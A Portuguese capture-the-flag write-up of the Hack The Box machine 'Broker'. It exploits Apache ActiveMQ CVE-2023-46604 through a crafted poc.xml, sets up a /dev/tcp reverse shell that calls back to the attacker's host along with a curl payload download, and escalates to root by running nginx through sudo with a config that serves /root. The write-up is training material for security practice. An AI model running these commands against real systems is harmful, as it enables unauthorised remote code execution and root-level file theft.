Hackthebox
Neste writeup iremos explorar uma máquina linux de nível easy chamada Broker com as seguintes vulnerabilidades e técnicas de exploração:
- Remote Code Execution - CVE-2023–46604
- Acesso ao nginx como root
Recon e user flag
Iremos iniciar realizando uma varredura no alvo a procura de portas abertas utilizando o nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# nmap -sV --open -Pn 10.129.110.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-17 11:38 EST
Nmap scan report for 10.129.110.133
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Encontramos duas portas abertas, a porta 22 referente ao ssh e a porta 80 que possui um nginx rodando, esta iremos acessar pelo navegador.
Temos uma página que é necessário informar usuário e senha para acesso.
Analisando o response header descobrimos se tratar de um Apache ActiveMQ:
Apache ActiveMQ é um message broker criado em java com suporte a multi protocolo que é open source. Possui suporte a diversos clientes: JavaScript, C, C++, Python, .Net. E suporte a diversos protocolos como AMQP (Advanced Message Queuing Protocol), STOMP (Simple Text Oriented Messaging Protocol), MQTT para dispositivos IoT e OpenWire.
Numa rápida busca em sua documentação encontramos as credenciais default, que é admin:admin.
Com isso conseguimos acesso a aplicação:
Buscando por vulnerabilidades recentes encontramos a CVE-2023–46604.
Esta CVE se trata de um Remote Code Execution, uma vulnerabilidade de desserialização remota não autenticada no conector de transporte do OpenWire que o ActiveMQ utiliza. Por padrão o conector de transporte possui a porta 61616 para conexões TCP, podemos constatar que a mesma se encontra disponível:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# nc -v 10.129.110.133 61616
10.129.110.133: inverse host lookup failed: Unknown host
(UNKNOWN) [10.129.110.133] 61616 (?) open
Em nossa varredura utilizando nmap essa porta não foi encontrada por termos utilizado a flag --open, que busca somente as 1000 primeiras portas.
A versão que esta rodando é a 5.15.15 que possui esta vulnerabilidade:
Conseguindo explorar esta vulnerabilidade poderemos executar comandos em nosso alvo com os mesmos privilégios do usuário que esta executando o servidor ActiveMQ. A vulnerabilidade ocorre no "empacotador" (marshaller) do protocolo OpenWire, o que expande a vulnerabilidade para qualquer cliente OpenWire em java que possua a dependência Maven activemq-client.
Uma análise detalhada da vulnerabilidade pode ser encontrada neste link:
Iremos utilizar a seguinte PoC para executar o RCE em nosso alvo:
GitHub - X1r0z/ActiveMQ-RCE: ActiveMQ RCE (CVE-2023–46604)
Iniciaremos clonando o repositório acima e realizando o build da poc criada em golang, seguindo os seguintes passos:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# git clone https://github.com/X1r0z/ActiveMQ-RCE.git
Cloning into 'ActiveMQ-RCE'...
remote: Enumerating objects: 23, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 23 (delta 7), reused 18 (delta 5), pack-reused 0
Receiving objects: 100% (23/23), 8.41 KiB | 957.00 KiB/s, done.
Resolving deltas: 100% (7/7), done.
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# ls -al
total 16
drwxr-xr-x 3 root root 4096 Nov 17 11:49 .
drwxr-xr-x 38 root root 4096 Nov 9 15:09 ..
drwxr-xr-x 3 root root 4096 Nov 17 11:49 ActiveMQ-RCE
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# cd ActiveMQ-RCE
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# ls -alh
total 40K
drwxr-xr-x 3 root root 4.0K Nov 17 11:49 .
drwxr-xr-x 3 root root 4.0K Nov 17 11:49 ..
drwxr-xr-x 8 root root 4.0K Nov 17 11:49 .git
-rw-r--r-- 1 root root 29 Nov 17 11:49 go.mod
-rw-r--r-- 1 root root 2.0K Nov 17 11:49 main.go
-rw-r--r-- 1 root root 751 Nov 17 11:49 poc.xml
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README-en.md
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README.md
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# go build .
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# ls -alh
total 5.1M
drwxr-xr-x 3 root root 4.0K Nov 17 11:54 .
drwxr-xr-x 3 root root 4.0K Nov 17 11:49 ..
-rwxr-xr-x 1 root root 5.0M Nov 17 11:54 ActiveMQ-RCE
drwxr-xr-x 8 root root 4.0K Nov 17 11:54 .git
-rw-r--r-- 1 root root 29 Nov 17 11:49 go.mod
-rw-r--r-- 1 root root 2.0K Nov 17 11:49 main.go
-rw-r--r-- 1 root root 630 Nov 17 11:54 poc.xml
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README-en.md
-rw-r--r-- 1 root root 5.4K Nov 17 11:49 README.md
Com nosso binário pronto precisamos editar o arquivo poc.xml e inserir o comando que desejamos executar em nosso alvo.
Iremos inicialmente validar o RCE. Em uma aba do nosso terminal iremos subir um servidor python utilizando o seguinte comando:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Em nosso arquivo poc.xml iremos adicionar um curl que ira bater em nosso servidor python na porta especifica e adicionaremos um path qualquer para validar que se trata da mesma requisição:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>curl 10.10.14.85:8081/testSuccess</value>
</list>
</constructor-arg>
</bean>
</beans>
E ao executar a PoC passamos o ip do alvo (-i) e o nosso servidor loca (-u) onde irá buscar o conteúdo do arquivo poc.xml e posteriormente executar o comando contido no mesmo:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# ./ActiveMQ-RCE -i 10.129.110.133 -p 61616 -u http://10.10.14.85:8081/poc.xml
_ _ _ __ __ ___ ____ ____ _____
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: 10.129.110.133:61616
[*] XML URL: http://10.10.14.85:8081/poc.xml
[*] Sending packet: 000000721f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001f687474703a2f2f31302e31302e31342e38353a383038312f706f632e786d6c
Temos o seguinte retorno em nosso servidor python, confirmando o RCE:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.110.133 - - [17/Nov/2023 11:57:15] "GET /poc.xml HTTP/1.1" 200 -
10.129.110.133 - - [17/Nov/2023 11:57:15] "GET /poc.xml HTTP/1.1" 200 -
10.129.110.133 - - [17/Nov/2023 11:57:16] code 404, message File not found
10.129.110.133 - - [17/Nov/2023 11:57:16] "GET /testSuccess HTTP/1.1" 404 -
Como próximo passo iremos criar localmente um arquivo chamado rev.sh com o seguinte conteúdo:
sh -i 5<> /dev/tcp/10.10.14.85/9001 0<&5 1>&5 2>&5
E assim como foi realizado no teste da poc iremos editar o arquivo poc.xml para através do nosso servidor python realizar o download do nosso reverse shell:
<list>
<value>bash</value>
<value>-c</value>
<value>curl 10.10.14.85:8081/rev.sh -o /tmp/rev.sh</value>
</list>
Precisamos em uma aba do nosso terminal ouvir com o netcat na porta 9001:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# nc -nvlp 9001
listening on [any] 9001 ...
E posteriormente executar nosso reverse shell:
<list>
<value>bash</value>
<value>-c</value>
<value>bash /tmp/rev.sh</value>
</list>
Obtendo assim shell em nosso servidor alvo com o usuário activemq:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/broker]
└─# nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.85] from (UNKNOWN) [10.129.110.133] 56672
sh: 0: can't access tty; job control turned off
$ id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
Esse é um usuário existente com diretório home, que possui a user flag:
$ env
USER=activemq
SHLVL=1
HOME=/home/activemq
SYSTEMD_EXEC_PID=878
LOGNAME=activemq
_=-alh
JOURNAL_STREAM=8:22190
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVOCATION_ID=db8505c33e2b484c901ac032804e3bb6
LANG=en_US.UTF-8
SHELL=/bin/bash
PWD=/opt/apache-activemq-5.15.15/bin
$ pwd
/opt/apache-activemq-5.15.15/bin
$ ls -alh /home
total 12K
drwxr-xr-x 3 root root 4.0K Nov 6 01:18 .
drwxr-xr-x 18 root root 4.0K Nov 6 01:18 ..
drwxr-x--- 4 activemq activemq 4.0K Nov 7 08:44 activemq
$ ls -alh /home/activemq
total 32K
drwxr-x--- 4 activemq activemq 4.0K Nov 7 08:44 .
drwxr-xr-x 3 root root 4.0K Nov 6 01:18 ..
lrwxrwxrwx 1 root root 9 Nov 5 04:14 .bash_history -> /dev/null
-rw-r--r-- 1 activemq activemq 220 Nov 5 00:15 .bash_logout
-rw-r--r-- 1 activemq activemq 3.7K Nov 5 00:15 .bashrc
drwx------ 2 activemq activemq 4.0K Nov 7 06:46 .cache
drwxrwxr-x 3 activemq activemq 4.0K Nov 7 08:17 .local
-rw-r--r-- 1 activemq activemq 807 Nov 5 00:15 .profile
-rw-r----- 1 root activemq 33 Nov 17 16:37 user.txt
$ cat /home/activemq/user.txt
0eb1d389754c92b0819b92dc72bfde21
Escalação de privilégios e root flag
Podemos ver as permissões do usuário activemq e quais comandos ou binários ele pode executar como root com o seguinte comando:
activemq@broker:/home/activemq$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
O usuário pode executar o binário do nginx como root, ou seja, ele tem permissão para abrir uma porta no servidor expondo qualquer diretório :)
Sendo o nginx um servidor web e proxy reverso ele permite que seja feito o roteamento de portas (proxy) ou servir como servidor web expondo determinados diretórios que em seu uso comum exibem arquivos de uma página web.
Com isso conseguimos criar um simples arquivo de configuração do nginx que irá expor o diretório root, seu conteúdo e por ventura a root flag:
user root;
events {
use epoll;
worker_connections 128;
}
http {
server {
server_name localhost;
listen 0.0.0.0:8081;
location / {
root /root;
}
}
}
O arquivo é simples, ele irá expor o diretório root na diretiva location e seu conteúdo será exposto para qualquer endereço que o servidor possua (0.0.0.0) na porta 8081.
Com este arquivo em mãos basta executar o seguinte comando para subir nosso servidor web:
activemq@broker:/home/activemq$ sudo /usr/sbin/nginx -c ~/simple-nginx.conf
Podemos visualizar que a nova porta esta disponível no endereço que configuramos:
activemq@broker:/home/activemq$ netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN -
tcp6 0 0 :::61616 :::* LISTEN 939/java
tcp6 0 0 :::61613 :::* LISTEN 939/java
tcp6 0 0 :::61614 :::* LISTEN 939/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::33805 :::* LISTEN 939/java
tcp6 0 0 :::5672 :::* LISTEN 939/java
tcp6 0 0 :::8161 :::* LISTEN 939/java
tcp6 0 0 :::1883 :::* LISTEN 939/java
No entanto, o arquivo acima não esta permitindo index do diretório por completo, o que irá gerar um 403 ao tentar acessar ip:porta.
Mas podemos bater diretamente nos arquivos e como sabemos que a root flag é o arquivo root.txt:
Ou podemos visualizar o valor utilizando curl:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/broker/ActiveMQ-RCE]
└─# curl http://10.129.110.133:8081/root.txt
0d29c65f0340592d39d1b82cd428fda8
É possível também executar um reverse shell para escalar para o usuário root. Para isso podemos configurar nosso nginx com suporte a php, por exemplo, e rodar um arquivo .php com nosso reverse shell.
Mas como o intuito é capturar as flags (CTF :P), a forma apresentada é o suficiente.
E assim finalizamos a máquina Broker!
Top comments (0)